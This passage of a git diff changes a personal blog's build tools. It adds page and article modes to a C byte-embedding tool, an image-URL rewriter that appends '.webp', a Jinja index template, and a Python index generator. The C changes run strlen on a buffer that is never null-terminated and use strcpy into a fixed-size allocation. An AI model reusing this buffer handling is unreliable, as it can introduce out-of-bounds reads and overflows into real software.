b/tools/embed/embed.c index 8010123..4e84e2d 100644 --- a/tools/embed/embed.c +++ b/tools/embed/embed.c @@ -34,6 +34,8 @@ typedef enum _type { TYPE_EMBED, TYPE_ADVISORY, + TYPE_ARTICLE, + TYPE_PAGE, } type_t; typedef struct _embed @@ -112,6 +114,12 @@ int main(int argc, char **argv) case 'a': args.type = TYPE_ADVISORY; break; + case 'p': + args.type = TYPE_PAGE; + break; + case 'A': + args.type = TYPE_ARTICLE; + break; default: fprintf(stderr, "Unknown type: %s defaulting to embed\n", optarg); args.type = TYPE_EMBED; @@ -158,7 +166,7 @@ void usage(char **argv) printf(" -i, --input=FILE Input file\n"); printf(" -o, --output=FILE Output file\n"); printf(" -f, --format=FORMAT Output format (c, h)\n"); - printf(" -t, --type=TYPE Output type (embed, advisory)\n"); + printf(" -t, --type=TYPE Output type (e,a,p,A - embed, advisory, page, article)\n"); printf(" -w, --autowrap Autowrap output\n"); printf(" -V, --verbose Verbose output\n"); printf(" -q, --quiet Quiet output\n"); @@ -239,6 +247,104 @@ char *clean_filename(char *filename) return filename; } +unsigned char *read_file_data(FILE *f, size_t *size) +{ + fseek(f, 0, SEEK_END); + *size = ftell(f); + fseek(f, 0, SEEK_SET); + + unsigned char *data = malloc(*size); + if (data == NULL) + { + return NULL; + } + + fread(data, 1, *size, f); + + return data; +} + +unsigned char *image_add_extension(unsigned char *buff, const char *add_ext) +{ + if (buff == NULL || add_ext == NULL) + { + return NULL; + } + + // Find the size of the buffer + size_t len = strlen((char *)buff); + + // Allocate a new buffer for the modified content + unsigned char *new_buff = malloc(len * 2); // Allocate double the size for safety + if (new_buff == NULL) + { + return NULL; + } + + unsigned char *src = buff; + unsigned char *dst = new_buff; + + // Loop through the buffer to find markdown image patterns + while (*src) + { + if (strncmp((char *)src, "![", 2) == 0) + { + // Copy the "![" + *dst++ = *src++; + *dst++ = *src++; + + // Skip everything inside the square brackets until the closing bracket ']' + while (*src && *src != ']') + { + *dst++ = *src++; + } + + // Copy the closing bracket if it's there + if (*src == ']') + { + *dst++ = *src++; + } + + // Now check for the '(' indicating the start of the image URL + if (*src == '(') + { + *dst++ = *src++; + unsigned char *start = src; + + // Find the end of the image URL which is marked by ')' + while (*src && *src != ')') + { + src++; + } + + // Copy the image URL + strncpy((char *)dst, (char *)start, src - start); + dst += src - start; + + // Add the extension + strcpy((char *)dst, add_ext); + dst += strlen(add_ext); + + // Copy the closing parenthesis + if (*src == ')') + { + *dst++ = *src++; + } + } + } + else + { + // Copy any other character + *dst++ = *src++; + } + } + + // Null-terminate the new buffer + *dst = '\0'; + + return new_buff; +} + int embed(embed_t *args) { if (args->input == NULL) @@ -316,6 +422,12 @@ int embed(embed_t *args) case TYPE_ADVISORY: typ = "advisory"; break; + case TYPE_PAGE: + typ = "pages"; + break; + case TYPE_ARTICLE: + typ = "articles"; + break; default: typ = "unknown"; break; @@ -342,29 +454,39 @@ int embed(embed_t *args) } } - int c = 0; - int i = 0; + size_t i = 0; + + size_t size = 0; + unsigned char *data = read_file_data(input, &size); + // update the image URL with the extension + if (args->type == TYPE_ARTICLE || args->type == TYPE_PAGE) + { + unsigned char *data_updated = image_add_extension(data, ".webp"); + // free the original data + free(data); + size = strlen((const char *)data_updated); + data = data_updated; + } if (args->autowrap) { - while ((c = fgetc(input)) != EOF) + while (i < size) { if (i == 0) { fprintf(output, " "); } - fprintf(output, "0x%02X", c); + fprintf(output, "0x%02X", data[i]); - fprintf(output, ", "); - if (i < 15) + if (i % 16 == 15) { - fprintf(output, ", "); + fprintf(output, ",\n"); + fprintf(output, " "); } else { - fprintf(output, ",\n"); - i = -1; + fprintf(output, ", "); } i++; @@ -382,14 +504,23 @@ int embed(embed_t *args) } else { - while ((c = fgetc(input)) != EOF) + while (i < size) { - fprintf(output, "0x%02X", c); - fprintf(output, ", "); + // no wrap + if (i == 0) + { + fprintf(output, "0x%02X", data[i]); + } + else + { + fprintf(output, ", 0x%02X", data[i]); + } + + i++; } if (args->type == TYPE_EMBED) - fprintf(output, "0x00"); + fprintf(output, ", 0x00"); fprintf(output, "};\n\n"); } diff --git a/tools/index_gen/index.md b/tools/index_gen/index.md new file mode 100644 index 0000000..2a33498 --- /dev/null +++ b/tools/index_gen/index.md @@ -0,0 +1,66 @@ +--- +title: {{ blog.title}} +author: {{ blog.author}} +date: {{ blog.update_date}} +--- + + +# About +![Picture of DZONERZY](../assets/dzonerzy.jpg){class="zoomable"} + +Hello world here is dzonerzy, also known as Daniele Linguaglossa, I'm an offensive security researcher and developer. + +I'm the author of this blog, and I'm using it to share my researches and my projects. + +I'm also the author of the library that powers this blog, yes you heard right, this blog is powered by a **shared object** that I wrote in C! + +You can find the source code of this blog in my [git repository](https://git.libdzonerzy.so/dzonerzy/libdzonerzy.so). + +# Projects +Here is a list of the projects that I made in my spare time, some of them are still in development, but I'm looking forward to finish them all. + +{%for project in projects%} +- **[{{ project.title }}]({{ project.link }})** + -- {{ project.description }} +{%endfor%} + +# Articles +Below you can find a list of my articles, I'm writing about offensive security and programming, and also about my projects. + +{%for article in articles%} +- **[{{ article.title }}]({{ article.link }})** + -- {{ article.description }} +{%endfor%} + +# Advisories +Below you can find a list of my CVEs. +{%for advisory in advisories%} +- **[{{ advisory.cve_id }}]({{ advisory.link }})** + -- {{ advisory.title }} +{%endfor%} + +# FAQ +Here is a list of frequently asked questions, if you have any other question feel free to contact me at **dzonerzy[at]gmail.com**. + +#### + + +- **Q:** Why this blog is so ugly? + + + **A:** Because I'm not a web designer, I'm a developer, and I'm not good at designing things, but I'm working on it, I promise. + +- **Q:** Why this blog is so fast? + + + **A:** Actually this is a static website, so it's very fast. + +- **Q:** What do you do for living? + + + **A:** I'm currently working at [RevEng.AI](https://reveng.ai/), where reversing meets artificial intelligence. + +- **Q:** Is RevEng.AI hiring? + + + **A:** Yes, we are always looking for new talents, if you are interested in working with me, feel free to send your resume at ... try to find it, after all it's still "inside" the shared object. \ No newline at end of file diff --git a/tools/index_gen/indexgen.py b/tools/index_gen/indexgen.py new file mode 100644 index 0000000..868f159 --- /dev/null +++ b/tools/index_gen/indexgen.py @@ -0,0 +1,95 @@ +# IndexGen is the index generator for the static website. +# DO NOT MODIFY THIS FILE! +import argparse +import datetime +import jinja2 +import glob +import yaml +import sys +import os + +def directory_exists(directory) -> bool: + return os.path.exists(directory) + +def find_articles(resources) -> list: + articles = [] + articles_dir = os.path.join(resources, 'articles') + if not directory_exists(articles_dir): + print('The articles directory does not exist.') + os._exit(1) + for article in glob.glob(os.path.join(articles_dir, '*.md')): + if os.path.exists(article): + with open(article, 'r') as file: + print(article) + article_data = yaml.load_all(file, Loader=yaml.SafeLoader) + # get only first element out of the generator + article_data = next(article_data) + # append link to the article + article_data['link'] = f"/articles/{os.path.basename(article).replace('.md', '.html')}" + articles.append(article_data) + return articles + +def find_advisories(resources) -> list: + advisories = [] + advisories_dir = os.path.join(resources, 'advisory') + if not directory_exists(advisories_dir): + print('The advisories directory does not exist.') + os._exit(1) + for advisory in glob.glob(os.path.join(advisories_dir, '*.txt')): + if os.path.exists(advisory): + with open(advisory, 'r') as file: + advisory_data = yaml.load_all(file, Loader=yaml.SafeLoader) + # get only first element out of the generator + advisory_data = next(advisory_data) + # append link to the advisory + advisory_data['link'] = f"/advisories/{os.path.basename(advisory)}" + advisories.append(advisory_data) + return advisories + +def find_projects(resources) -> list: + projects = [] + projects_dir = os.path.join(resources, 'projects') + if not directory_exists(projects_dir): + print('The projects directory does not exist.') + os._exit(1) + for project in glob.glob(os.path.join(projects_dir, '*.yaml')): + if os.path.exists(project): + with open(project, 'r') as file: + project_data = yaml.load_all(file, Loader=yaml.SafeLoader) + # get only first element out of the generator + project_data = next(project_data) + projects.append(project_data) + return projects + +def main(args): + parser = argparse.ArgumentParser(description='Generate index.md file for the static website.') + parser.add_argument('--resources', type=str, help='Path to the resources directory.', required=True) + parser.add_argument("--blog-title", type=str, help="Title of the blog", required=True) + parser.add_argument("--blog-author", type=str, help="Author of the blog", required=True) + args = parser.parse_args(args) + + # check if the resources directory exists + resources = args.resources + + if not directory_exists(resources): + print('The resources directory does not exist.') + os._exit(1) + + articles = find_articles(resources) + advisories = find_advisories(resources) + projects = find_projects(resources) + blog = { + 'title': args.blog_title, + 'author': args.blog_author, + # format the date like Thursday, 1 January 2021 + 'update_date': datetime.datetime.now().strftime('%A, %d %B %Y') + } + + template = os.path.join(os.path.dirname(__file__), 'index.md') + with open(template, 'r') as file: + tmpl = jinja2.Template(file.read()) + with open(os.path.join(resources, "pages", "index.md"), 'w') as file: + file.write(tmpl.render(articles=articles, advisories=advisories, projects=projects, blog=blog)) + +if __name__ == '__main__': + main(sys.argv[1:]) \ No newline at end of file